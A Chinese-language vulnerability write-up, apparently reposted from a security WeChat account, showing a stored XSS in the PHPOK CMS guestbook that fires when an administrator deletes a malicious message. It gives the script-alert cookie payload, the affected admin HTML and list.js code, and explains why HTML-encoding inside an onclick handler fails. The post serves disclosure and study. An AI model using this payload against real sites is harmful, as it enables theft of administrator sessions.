测试环境:
![PHPOK留言管理XSS(打管理员) PHPOK留言管理XSS(打管理员)]()
当在“在线留言”处留言:
![PHPOK留言管理XSS(打管理员) PHPOK留言管理XSS(打管理员)]()
留言成功后需要管理员审核才可以通过,所以不能立刻显示。
当管理员登陆后台,删除该留言的时候,触发XSS:
![PHPOK留言管理XSS(打管理员) PHPOK留言管理XSS(打管理员)]()
看下源码:
01 |
<tr id="list_1283" title="留言主题:<script>alert(document.cookie);</script> 发布日期:2014-04-11 20:54:04"> |
02 |
<td class="center"><input type="checkbox" name="ids[]" id="id_1283" value="1283" /></td> |
03 |
<td><span class="status0" id="status_1283" onclick="set_status(1283)" value="0"></span></td> |
04 |
<td><label for="id_1283"> |
05 |
1283. <script>alert(document.cookie);</script> </label> |
08 |
<td class="center">2014-04-11</td> |
12 |
<td class="center"><input type="text" id="sort_1283" name="sort[]" class="shortcenter" value="0"tabindex="1" /></td> |
14 |
<a class="icon edit" href="admin.php?c=list&f=edit&id=1283" title="修改"></a> |
15 |
<a class="icon delete end"onclick="content_del('1283','<script>alert(document.cookie);</script>')" title="删除"></a> |
这里过滤了,继续看删除留言的代码:
1 |
<a class="icon delete end" onclick="content_del('1283','<script>alert(document.cookie);</script>')" title="删除"></a> |
一个onclick事件,调用了content_del函数,追溯过去:
函数在 list.js 这个文件中,关键代码如下:
![PHPOK留言管理XSS(打管理员) PHPOK留言管理XSS(打管理员)]()
1 |
$.dialog.confirm("确定要删除:<span class='red'>"+title+"</span>?删除后是不能恢复的?",function(){ |
加上之前的代码可以看到,虽然title传过来的是:
1 |
<script>alert(document.cookie);</script> |
经过HtmlEncode的数据,但是由于htmlpersar解析是优先于jspersar的,所以单单对js事件进行htmlencode的话,经过浏览器的解析,编码的事件请求内容就会被解码,从而产生XSS。。。
本文始发于微信公众号(T00ls):PHPOK留言管理XSS(打管理员)
评论